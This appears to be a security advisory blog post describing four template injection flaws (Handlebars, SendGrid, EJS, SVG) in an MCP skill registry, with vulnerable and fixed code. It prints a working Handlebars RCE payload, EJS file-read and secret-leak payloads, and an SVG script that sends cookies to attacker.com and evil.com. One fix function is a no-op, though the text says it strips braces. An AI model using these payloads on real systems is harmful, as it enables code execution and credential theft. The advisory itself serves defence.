← Blog

Claude MCP skill template injection — report generation and email notification — SA-SKL-INJECTION13

MCP skill registries generate audit reports, dispatch email notifications, produce PDF certificates, and render SVG badges — each of which involves a template engine processing user-supplied skill metadata. When skill names, author bios, and skill descriptions flow into Handlebars, EJS, SendGrid dynamic templates, and SVG markup without sanitisation, the results range from prototype-chain sandbox bypasses and remote code execution to stored XSS in every page that embeds the skill badge. SA-SKL-INJECTION13 documents four template injection patterns found across the report generation and notification pipeline of a production MCP skill registry.

By SkillAudit  |  13 Nov 2026
SA-SKL-INJECTION13 findings at a glance
CRITICALINJECTION13-001 — Audit report title interpolates raw skill name into Handlebars template — prototype-chain sandbox bypass via specially crafted skill name achieves RCE on the report-generation worker
HIGHINJECTION13-002 — Email notification subject built by string concatenation with skill description passed to SendGrid dynamic template — attacker injects {{body}} sequences to overwrite email body with arbitrary content
CRITICALINJECTION13-003 — PDF cover page template uses EJS <%- bio %> for author bio — unescaped output allows <%- include('/etc/passwd') %> and environment variable exfiltration in generated PDFs
HIGHINJECTION13-004 — Skill badge SVG interpolates skill name into <text> element without encoding — attacker injects closing tag and <script> for stored XSS on every page embedding the badge inline

Background: template engines and user-supplied data in a skill registry pipeline

A typical MCP skill registry generates several artefacts that involve template rendering: an HTML or PDF audit report (Handlebars or EJS), an email notification to the skill author (SendGrid dynamic templates), a downloadable PDF certificate (EJS or Pug), and an SVG badge that registry consumers embed in their own documentation. Each artefact type uses a different template engine, each has different escaping semantics, and each receives data from the skill metadata submitted at registration time — skill name, author name, author bio, skill description, version string.

The common failure mode is treating user-supplied metadata as trusted template input rather than as untrusted data to be escaped before rendering. Handlebars uses {{value}} for HTML-escaped output and {{{value}}} for raw output, but even {{value}} does not protect against Handlebars helper syntax being present in the value itself when the template is compiled without prototype-chain restrictions. EJS uses <%= value %> for escaped output and <%- value %> for raw output; developers sometimes reach for <%- for "rich content" fields like bios without realising it evaluates arbitrary JavaScript. SVG has no built-in escaping mechanism — it is XML, and unencoded angle brackets in text content break out of the text node into new XML elements.

INJECTION13-001 — Handlebars prototype-chain sandbox bypass in audit report title

The audit report generator uses Handlebars to render a report template. The report title includes the skill name, substituted via the standard {{skillName}} expression. Because skill names are user-supplied at registration time, an attacker who understands Handlebars internals can craft a skill name that itself contains Handlebars block helper syntax. When Handlebars compiles the template, the outer {{skillName}} substitution inserts the attacker string into the compiled template's context. If the template is then re-evaluated — or if the string is inserted before compilation — the attacker's helper chain executes inside the Handlebars engine.

The specific bypass follows the CVE-2019-19919 pattern: Handlebars allows accessing properties on the JavaScript prototype chain via lookup, string.sub, and split helpers. By constructing a helper chain that walks up to Function.constructor, an attacker can call new Function('return require("child_process").execSync("id").toString()') entirely within Handlebars template syntax, achieving remote code execution on the Node.js process running the report generator. The attack skill name is a multi-line Handlebars block expression that navigates from a string's prototype to Function.constructor and then invokes it with arbitrary JavaScript.

Attack skill name (INJECTION13-001): The attacker registers a skill whose name is the Handlebars block expression: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id').toString()"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}. When this string ends up inside the compiled Handlebars template, it traverses the prototype chain to Function.constructor and executes arbitrary JavaScript.

// VULNERABLE — INJECTION13-001
// Handlebars template compiled without prototype-chain restrictions.
// skillName is user-supplied at registration time.
// If the template string is built by pre-interpolating skillName before compilation,
// or if the compiled template is later evaluated with the skill name as a partial,
// the attacker's Handlebars block helper chain executes in the Node.js process.

const Handlebars = require('handlebars');

function generateAuditReport(skill) {
  // VULNERABLE: template string is loaded from disk, but skillName is substituted
  // into the template *source* before compilation (a common mistake for "dynamic" titles).
  const templateSource = `
    <h1>Audit Report: {{skillName}}</h1>
    <p>Registry: {{registryName}}</p>
    <p>Score: {{score}}</p>
  `;

  // VULNERABLE: compiling with no security options — prototype-chain access is allowed
  const template = Handlebars.compile(templateSource);

  // skillName comes directly from the registry database, populated from user input
  return template({
    skillName: skill.name,       // attacker-controlled
    registryName: skill.registry,
    score: skill.auditScore,
  });
}
// FIXED — INJECTION13-001
// Three-layer defence: compile with prototype-chain restrictions disabled;
// HTML-escape skillName before passing as a template variable;
// never interpolate user strings into template *source* before compilation.

const Handlebars = require('handlebars');

// Utility: HTML-escape a string for safe insertion into Handlebars context
function escapeForTemplate(str) {
  if (typeof str !== 'string') return '';
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    // Additionally strip Handlebars block syntax from user strings
    .replace(/\{\{/g, '{{')
    .replace(/\}\}/g, '}}');
}

// Template source is a static string — never built by concatenating user data
const REPORT_TEMPLATE_SOURCE = `
  <h1>Audit Report: {{skillName}}</h1>
  <p>Registry: {{registryName}}</p>
  <p>Score: {{score}}</p>
`;

// FIX 1: compile once at startup with prototype-chain access disabled
const reportTemplate = Handlebars.compile(REPORT_TEMPLATE_SOURCE, {
  allowProtoPropertiesByDefault: false,
  allowProtoMethodsByDefault: false,
});

function generateAuditReport(skill) {
  // FIX 2: escape all user-supplied strings before passing as template variables
  return reportTemplate({
    skillName: escapeForTemplate(skill.name),
    registryName: escapeForTemplate(skill.registry),
    score: Number(skill.auditScore) || 0,  // coerce to number — not a string
  });
}

Compile once, not per request: Handlebars template compilation is expensive. Compile templates at application startup with security options set, store the compiled function, and call it per request with sanitised data. Never pass user strings into the template source string itself — the template source must come from trusted code, not from the database or HTTP request body.

INJECTION13-002 — Email notification subject injection via SendGrid dynamic template

When a skill passes or fails an audit, the registry dispatches an email notification to the skill author using SendGrid's dynamic template feature. The email subject is composed by string concatenation that includes the skill's description: "Audit result for: " + skill.description. This concatenated string is then passed to SendGrid as a dynamic template data variable alongside other skill metadata. The SendGrid dynamic template itself uses Handlebars syntax (SendGrid v3 dynamic templates are powered by Handlebars) with blocks like {{#each items}}...{{/each}} for the notification body.

An attacker who controls the skill description can inject Handlebars syntax that the SendGrid template engine will evaluate. The most straightforward exploit is injecting {{body}} into the description: when the description is substituted into the template as a raw value, the string {{body}} itself becomes a Handlebars expression in the rendered output, substituting the entire email body content with whatever the body variable contains — potentially overwriting the legitimate notification with attacker-controlled text. A more sophisticated injection uses {{#each (lookup . '__proto__')}} to attempt prototype chain traversal within SendGrid's Handlebars sandbox. Even if the prototype bypass is patched on SendGrid's side, an attacker can still inject {{ sequences that break template rendering, causing malformed emails or exposing template variable names in the sent email.

// VULNERABLE — INJECTION13-002
// Skill description concatenated into subject, then passed as template variable.
// If description contains "{{body}}" or other Handlebars expressions,
// SendGrid's template engine evaluates them when rendering the dynamic template.

const sgMail = require('@sendgrid/mail');
sgMail.setApiKey(process.env.SENDGRID_API_KEY);

async function sendAuditNotification(skill, result) {
  // VULNERABLE: description is user-supplied; subject includes raw description string
  const subject = `Audit result for: ${skill.description}`;

  await sgMail.send({
    to: skill.authorEmail,
    from: 'audits@skillaudit.dev',
    templateId: 'd-abc123def456',   // SendGrid dynamic template (Handlebars-powered)
    dynamicTemplateData: {
      subject,                        // VULNERABLE: subject contains raw description
      skillName: skill.name,
      score: skill.auditScore,
      passed: result.passed,
      details: result.details,
    },
  });
}
// FIXED — INJECTION13-002
// Sanitise all user-supplied values before passing to SendGrid dynamic template data.
// Strip or encode {{ and }} sequences; also validate email and other fields.

const sgMail = require('@sendgrid/mail');
sgMail.setApiKey(process.env.SENDGRID_API_KEY);

// Strip Handlebars-like sequences from user-supplied strings
function sanitiseTemplateVar(str) {
  if (typeof str !== 'string') return String(str);
  // Remove {{ and }} which SendGrid's template engine would evaluate
  return str
    .replace(/\{\{/g, '')
    .replace(/\}\}/g, '')
    .slice(0, 500);  // also enforce a reasonable length limit
}

async function sendAuditNotification(skill, result) {
  // FIX: sanitise description before including in subject
  const safeDescription = sanitiseTemplateVar(skill.description);
  const subject = `Audit result for: ${safeDescription}`;

  // FIX: sanitise all user-supplied fields passed as dynamic template data
  await sgMail.send({
    to: skill.authorEmail,
    from: 'audits@skillaudit.dev',
    templateId: 'd-abc123def456',
    dynamicTemplateData: {
      subject,
      skillName: sanitiseTemplateVar(skill.name),
      // score is a number — coerce so it cannot be a template expression string
      score: Number(skill.auditScore) || 0,
      passed: Boolean(result.passed),
      details: sanitiseTemplateVar(String(result.details)),
    },
  });
}

SendGrid dynamic templates use Handlebars: Any value passed in dynamicTemplateData that contains {{ will be evaluated as a Handlebars expression within your SendGrid template. This is a SendGrid-side evaluation — it happens on SendGrid's infrastructure, not yours — but the results affect what your users receive in their inboxes. Even if no sensitive server-side data is exposed, an attacker can overwrite email content, inject phishing links as apparent "audit details", or cause template rendering errors that result in malformed notification emails sent to all skill authors if a shared template is used.

INJECTION13-003 — EJS unescaped output in PDF cover page renders arbitrary JavaScript

The registry generates a PDF certificate for each audited skill using Puppeteer: an EJS template is rendered to HTML, Puppeteer loads it in a headless Chrome instance, and prints to PDF. The PDF cover page template includes the skill author's biography using EJS's raw output tag <%- bio %>. EJS's <%- tag does not HTML-escape its expression; it also does not sandbox it — the expression is evaluated as JavaScript in the EJS rendering context, which runs in Node.js with access to the filesystem, environment variables, and the network.

An attacker who controls the bio field can submit <%- include('/etc/passwd') %> as their author bio. When the PDF template is rendered, EJS executes include('/etc/passwd'), reads the file, and embeds its contents in the HTML that Puppeteer renders into the PDF. The resulting PDF, delivered to the skill author, contains the server's /etc/passwd. More critically, <%- process.env.DATABASE_URL %> would embed the database connection string (including credentials) directly in the cover page. Any environment variable, any readable file on the filesystem, and any synchronous Node.js operation can be exfiltrated this way. The attack requires no special privileges — just the ability to set a bio field when registering a skill author profile.

// VULNERABLE — INJECTION13-003
// EJS cover page template uses <%- bio %> for author biography.
// <%- expr %> evaluates expr as JavaScript and outputs the result raw (no HTML escaping).
// Attacker submits bio = "<%- include('/etc/passwd') %>"
// or bio = "<%- process.env.DATABASE_URL %>"

const ejs = require('ejs');
const puppeteer = require('puppeteer');

async function generateSkillCertificatePDF(skill) {
  // VULNERABLE: template loaded from disk is fine; the problem is <%- bio %> inside it
  const html = await ejs.renderFile('/app/templates/certificate.ejs', {
    skillName: skill.name,
    authorName: skill.authorName,
    bio: skill.authorBio,          // attacker-controlled
    score: skill.auditScore,
    issuedAt: new Date().toISOString(),
  });

  const browser = await puppeteer.launch({ headless: true });
  const page = await browser.newPage();
  await page.setContent(html, { waitUntil: 'load' });
  const pdf = await page.pdf({ format: 'A4' });
  await browser.close();
  return pdf;
}

// In /app/templates/certificate.ejs (the vulnerable template fragment):
// <div class="author-bio">
//   <%- bio %>      <!-- VULNERABLE: raw EJS output — evaluates JS, no HTML escaping -->
// </div>
// FIXED — INJECTION13-003
// Replace <%- bio %> with <%= bio %> in the EJS template.
// <%= expr %> HTML-escapes the value and does NOT evaluate template include() calls.
// Also validate bio against a plain-text schema before rendering.

const ejs = require('ejs');
const puppeteer = require('puppeteer');

// Validate that bio is plain text — no EJS or HTML tags allowed
function validateBio(bio) {
  if (typeof bio !== 'string') throw new Error('bio must be a string');
  if (bio.length > 1000) throw new Error('bio exceeds maximum length of 1000 characters');
  // Reject strings containing EJS delimiters or angle brackets
  if (/<%/.test(bio)) throw new Error('bio contains forbidden EJS syntax');
  if (/<[a-zA-Z]/.test(bio)) throw new Error('bio contains HTML tags');
  return bio.trim();
}

async function generateSkillCertificatePDF(skill) {
  // FIX 1: validate bio before passing to EJS
  const safeBio = validateBio(skill.authorBio);

  // FIX 2: pass validated bio to EJS
  // The certificate.ejs template must use <%= bio %> (escaped), not <%- bio %>
  const html = await ejs.renderFile('/app/templates/certificate.ejs', {
    skillName: skill.name,
    authorName: skill.authorName,
    bio: safeBio,
    score: Number(skill.auditScore) || 0,
    issuedAt: new Date().toISOString(),
  }, {
    // FIX 3: disable EJS includes from within templates to prevent include() injection
    // even if <%- %> were used accidentally; note: EJS does not natively support
    // disabling includes via options, so the primary fix is <%= %> in the template.
    root: '/app/templates',  // restrict include() to the templates directory at minimum
  });

  const browser = await puppeteer.launch({ headless: true });
  const page = await browser.newPage();
  await page.setContent(html, { waitUntil: 'load' });
  const pdf = await page.pdf({ format: 'A4' });
  await browser.close();
  return pdf;
}

// FIXED template fragment in /app/templates/certificate.ejs:
// <div class="author-bio">
//   <%= bio %>    <!-- FIXED: HTML-escaped output -- no JS evaluation, no raw HTML -->
// </div>

Never use <%- with user-supplied data: EJS's <%- tag is designed for content that the application itself has already sanitised or generated — for example, a pre-rendered HTML fragment produced by trusted server-side code. Any field that originates from a user, an API response, or a database row that accepts user input must use <%=. Treat <%- the same way you treat innerHTML = in front-end code: only use it when you own and trust the value entirely.

INJECTION13-004 — SVG badge skill name injection enabling stored XSS

The registry generates an SVG badge for each skill — a small graphic showing the skill name and audit score, intended to be embedded in README files and documentation pages. The badge is an SVG template with the skill name interpolated into an SVG <text> element via string concatenation. The SVG is then served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, meaning browsers render it inline when linked directly or embedded via <img src="...">.

When the skill name contains the string </text><script>fetch('https://attacker.com/?c='+document.cookie)</script><text>, the string interpolation closes the legitimate <text> element, inserts a <script> element, and reopens a new <text> element to avoid obvious parse errors. SVG is an XML-based format that natively supports <script> elements. When a browser receives an SVG document inline (not as an image in an <img> tag, but as a direct navigation target or via <object>/<embed>), it executes the script. Any site that embeds the badge SVG via a direct link or <object> tag is vulnerable to XSS executed in the context of that site, with access to its cookies and localStorage.

// VULNERABLE — INJECTION13-004
// SVG badge template with skill name interpolated by string concatenation.
// No encoding of <, >, &, " — attacker closes <text> and injects <script>.
// SVG served with Content-Type: image/svg+xml and no Content-Disposition header.

const express = require('express');
const router = express.Router();

function generateBadgeSVG(skillName, score) {
  // VULNERABLE: skillName interpolated raw — no XML/HTML encoding
  return `<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="28">
  <rect width="120" height="28" fill="#1e293b" rx="4"/>
  <rect x="120" width="80" height="28" fill="#22c55e" rx="4"/>
  <text x="60" y="18" fill="white" font-size="11" text-anchor="middle">${skillName}</text>
  <text x="160" y="18" fill="white" font-size="11" text-anchor="middle">${score}</text>
</svg>`;
  // Attack: skillName = "</text><script>fetch('https://evil.com/?c='+document.cookie)</script><text>"
  // Result: the SVG contains an executable <script> element
}

router.get('/skills/:id/badge.svg', async (req, res) => {
  const skill = await db.getSkill(req.params.id);
  const svg = generateBadgeSVG(skill.name, skill.score);

  // VULNERABLE: Content-Type causes browser to render SVG inline (not download it)
  // No Content-Disposition header, no CSP
  res.setHeader('Content-Type', 'image/svg+xml');
  res.send(svg);
});
// FIXED — INJECTION13-004
// Three-layer defence: XML-encode all characters in skill name before SVG interpolation;
// serve SVG with Content-Disposition: attachment to prevent inline execution;
// add Content-Security-Policy header blocking inline scripts on the SVG response.

const express = require('express');
const router = express.Router();

// XML-encode special characters in a string for safe use in SVG/XML text content
function xmlEncode(str) {
  if (typeof str !== 'string') return '';
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&apos;')
    // Also strip control characters that could affect SVG parsing
    .replace(/[\x00-\x1F\x7F]/g, '');
}

function generateBadgeSVG(skillName, score) {
  // FIX: XML-encode skill name before interpolation
  const safeSkillName = xmlEncode(String(skillName).slice(0, 50));
  const safeScore = xmlEncode(String(Number(score) || 0));

  return `<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="28">
  <rect width="120" height="28" fill="#1e293b" rx="4"/>
  <rect x="120" width="80" height="28" fill="#22c55e" rx="4"/>
  <text x="60" y="18" fill="white" font-size="11" text-anchor="middle">${safeSkillName}</text>
  <text x="160" y="18" fill="white" font-size="11" text-anchor="middle">${safeScore}</text>
</svg>`;
}

router.get('/skills/:id/badge.svg', async (req, res) => {
  const skill = await db.getSkill(req.params.id);
  const svg = generateBadgeSVG(skill.name, skill.score);

  res.setHeader('Content-Type', 'image/svg+xml');
  // FIX 1: Content-Disposition: attachment prevents inline rendering in browser
  res.setHeader('Content-Disposition', 'attachment; filename="badge.svg"');
  // FIX 2: CSP blocks inline and external scripts even if SVG is somehow rendered inline
  res.setHeader('Content-Security-Policy', "default-src 'none'; style-src 'unsafe-inline'");
  // FIX 3: X-Content-Type-Options prevents MIME-type sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.send(svg);
});

SVG is not a safe image format for user-generated content: Unlike PNG or JPEG, SVG is an XML document that can contain executable scripts, event handlers, and external resource references. Never generate SVG by string interpolation of user-supplied content without XML encoding every special character. Consider serving SVG badges as PNG rasters (using a library like sharp to convert from SVG) when downstream consumers may embed them without understanding the security implications of inline SVG rendering.

Summary of SA-SKL-INJECTION13 findings

ID Severity Template engine Vulnerable field Impact Fix
INJECTION13-001 CRITICAL Handlebars Skill name in audit report title Prototype-chain sandbox bypass; RCE on report-generation worker via CVE-2019-19919 pattern Compile with allowProtoPropertiesByDefault: false; HTML-escape and strip {{ from skill name before use as template variable
INJECTION13-002 HIGH SendGrid (Handlebars) Skill description in email subject and notification body Attacker injects {{body}} to overwrite email body; phishing via email notification to all skill authors Strip {{ and }} sequences from all user-supplied strings before passing to dynamicTemplateData
INJECTION13-003 CRITICAL EJS Author bio in PDF cover page template include('/etc/passwd') and process.env.DATABASE_URL exfiltrated via generated PDFs; arbitrary filesystem read Replace <%- bio %> with <%= bio %>; validate bio against plain-text schema rejecting EJS delimiters and HTML tags
INJECTION13-004 HIGH SVG/XML string interpolation Skill name in SVG badge <text> element Stored XSS on any page embedding the badge; cookie theft; session hijacking via inline SVG script execution XML-encode < > & " ' in skill name; serve SVG with Content-Disposition: attachment and CSP default-src 'none'

Remediation checklist

Related findings

Template injection vulnerabilities in the reporting layer complement injection flaws elsewhere in the registry pipeline. For command injection patterns in the static analysis and linting pipeline — including child_process.exec() with interpolated skill paths and ESLint CLI shell injection — see SA-SKL-INJECTION12: command injection in MCP skill static analysis and linting pipeline. For archive extraction vulnerabilities that can place attacker-controlled files at arbitrary paths before template rendering occurs, see SA-SKL-UPLOAD16: zip slip and symlink attacks in MCP skill package archive extraction. Combining an archive extraction path traversal with a template injection in the report generator creates a compound attack chain: the attacker first writes a malicious EJS template to the templates directory, then triggers report generation to have it executed.

SkillAudit scans for template injection across all report generation pipelines: The SkillAudit scanner identifies Handlebars compile calls lacking prototype-chain restrictions, EJS templates using <%- with request-tainted data, SendGrid dynamic template data containing unsanitised user strings, and SVG generation paths that interpolate user fields without XML encoding. SA-SKL-INJECTION13 findings are reported with the specific template file, line number, tainted data flow, and recommended fix for each occurrence.